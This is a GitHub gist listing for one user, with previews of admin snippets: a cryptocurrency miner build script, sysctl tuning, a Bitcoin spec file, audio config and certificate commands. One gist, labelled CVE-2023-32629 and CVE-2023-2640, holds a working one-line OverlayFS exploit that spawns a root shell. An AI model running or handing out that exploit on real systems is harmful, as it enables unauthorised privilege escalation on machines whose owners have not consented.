Skip to content

Instantly share code, notes, and snippets.

View coffnix's full-sized avatar

Raphael Bastos aka coffnix coffnix

View GitHub Profile
#!/usr/bin/env bash
set -e
# prepara deps
brew list cmake >/dev/null 2>&1 || brew install cmake
brew list hwloc >/dev/null 2>&1 || brew install hwloc
brew list openssl@3 >/dev/null 2>&1 || brew install openssl@3
brew list libuv >/dev/null 2>&1 || brew install libuv
rm -rf xmrig
@coffnix
coffnix / 50-vipnix.conf
Created October 13, 2025 13:24
file /etc/sysctl.d/50-vipnix.conf
####
## VIPNIX TUNING - System and Network Optimization for High Performance
##
## This file adjusts Linux kernel parameters to maximize performance on 10 Gbps networks,
## reduce packet retransmissions, and improve efficiency on high-load servers.
## Focused on local networks with low latency (1–5 ms), such as connections between Linux servers and macOS clients.
## Values are optimized to minimize packet loss, prioritize low latency, and maximize throughput.
# Increases the maximum number of events that inotify can monitor simultaneously.
# Useful for applications that monitor many files (e.g., file servers, backup tools).
#
# spec file for package bitcoin
#
# Copyright (c) 2024 SUSE LLC
# Copyright (c) 2011-2014 P Rusnak <[email protected]>
#
# All modifications and additions to the file contributed by third parties
# remain the property of their copyright owners, unless otherwise agreed
# upon. The license for this file, and modifications and additions to the
# file, is the same license as for the pristine package itself (unless the
@coffnix
coffnix / bitcoin-knots.spec
Created September 20, 2025 10:56
spec opensuse Leap (rpmbuild)
#
# spec file for package bitcoin
#
# Copyright (c) 2024 SUSE LLC
# Copyright (c) 2011-2014 P Rusnak <[email protected]>
#
# All modifications and additions to the file contributed by third parties
# remain the property of their copyright owners, unless otherwise agreed
# upon. The license for this file, and modifications and additions to the
# file, is the same license as for the pristine package itself (unless the
import base64
import hashlib
import ecdsa
import base58
from Crypto.Cipher import AES
from Crypto.Hash import MD5
# base64 criptografado
encrypted_b64 = (
"U2FsdGVkX18xMjM0NTY3ODkwMTIzNDU2Nzg5MDEyMzQ1Njc4OTAxMjM0NTY3ODkwMTIz"
@coffnix
coffnix / asound.conf
Last active June 4, 2025 07:36
Configuração otimizada do shairport-sync para reprodução via AirPlay 2 com backend ALSA, utilizando interpolação soxr, saída em S32_LE, buffers ampliados para estabilidade, e controle de volume desabilitado para garantir fidelidade bit-perfect. Ideal para sistemas de áudio de alta resolução com DACs dedicados. 4.3.7-3-g97fefb43-AirPlay2-smi10-Op…
pcm.shairport {
type plug
slave.pcm "dmix_shairport"
}
pcm.dmix_shairport {
type dmix
ipc_key 2048
slave {
pcm "hw:0,0"
@coffnix
coffnix / gist:e8cebdc36c069072acdcafa4dde58fa3
Created November 10, 2023 12:06
CVE-2023-32629 и CVE-2023-2640
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*; python3 -c 'import os;os.setuid(0);os.system(\"/bin/bash\")'"
#!/usr/bin/python3
# -*- coding: utf-8 -*-
VERSION = "15"
# Host servidor de correio da VIPNIX
MAILSERVER = "smtp.zoho.com"
PORT = "587"
# The mail addresses and password
#!/bin/bash
# Check if -r flag is set
if [[ "$1" == "-r" || "$2" == "-r" ]]; then
netstat -nr | sed -e '1,3d;/Internet6:/,$d;/^$/d'
exit 0
fi
# Get interface names
network_info=$(networksetup -listnetworkserviceorder | grep -E '\(Hardware Port: .+, Device: .+\)')
@coffnix
coffnix / cert-ssl-barrier.txt
Last active July 25, 2024 15:27
barrier SSL cert
# Linux (client)
cd ~/.local/share/barrier/SSL/
openssl req -x509 -nodes -days 3650 -sha256 -subj /CN=Barrier -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem
# Windows (client)
cd %USERPROFILE%\AppData\Local\Barrier\SSL
openssl req -x509 -nodes -days 3650 -sha256 -subj "/CN=Barrier" -newkey rsa:4096 -keyout Barrier.pem -out Barrier.pem